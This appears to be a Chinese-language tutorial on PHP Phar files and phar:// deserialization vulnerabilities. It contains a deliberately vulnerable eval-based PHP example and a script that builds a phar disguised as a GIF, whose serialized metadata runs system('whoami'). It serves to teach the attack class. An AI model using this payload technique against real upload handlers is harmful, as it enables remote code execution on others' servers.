Phar是打包的PHP文件,跟Java的JAR包类似。通过文件类函数和phar://伪协议可以对phar文件进行读写等操作,如果 phar.readonly 为禁用则可以生成phar文件,但出于安全考虑该配置默认为启用。

文件结构

根据官方文档可知,Phar由 stub/manifest/contents/signature 四部分组成。

stub

stub 用于标识phar文件类型,格式为xxx<?php xxx; __HALT_COMPILER();?>(xxx为任意内容)。因为无需以特定标识开头,所以可以结合其它文件头进行伪装:GIF89a<?php __HALT_COMPILER();?>

manifest

该结构存放了一些phar文件的大小长度等属性,包括序列化格式的元数据。

contents

contents 存放压缩后的实际文件内容。

signature

顾名思义该结构用于文件校验,可以是常见的哈希值或密钥签名。

反序列化

因为 manifest 中的 Meta-data 以序列化格式存储,那么读取时必然有反序列化的过程,如果该部分用户可控(如上传phar文件并引用),则存在反序列化漏洞。

  • PHP8.0 改为了不自动反序列化 Meta-data,除非调用了 getMetadata()

利用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Control {
public $call;
function __construct() {
$this->call = new Normal();
}
function __destruct() {
$this->call->action();
}
}

class Normal {
function action() {
echo "ddmddw!";
}
}

class Run {
private $code = "phpinfo();";
function action() {
eval($this->code);
}
}

$path = 'phar://test.phar';
include($path);
file_exists($path);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Control {
public $call;
function __construct() {
$this->call = new Run();
}
function __destruct() {
$this->call->action();
}
}

class Run {
private $code = "system('whoami');";
function action() {
eval($this->code);
}
}
$object = new Control();

// 创建新的test.phar文件
@unlink('test.phar');
$phar = new Phar('test.phar');
// 开始初始化过程
$phar->startBuffering();
// 添加要打包压缩的文件
$phar->addFromString('test.txt', 'text');
// 插入伪装过的头部标识
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');
// 插入Meta-data并序列化
$phar->setMetadata($object);
// 生成phar文件
$phar->stopBuffering();

附上l1nk3r师傅总结的常用魔术方法触发条件:

1
2
3
4
5
6
7
8
9
10
11
__wakeup()      //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,返回值需要为字符串
__invoke() //当脚本尝试将对象调用为函数时触发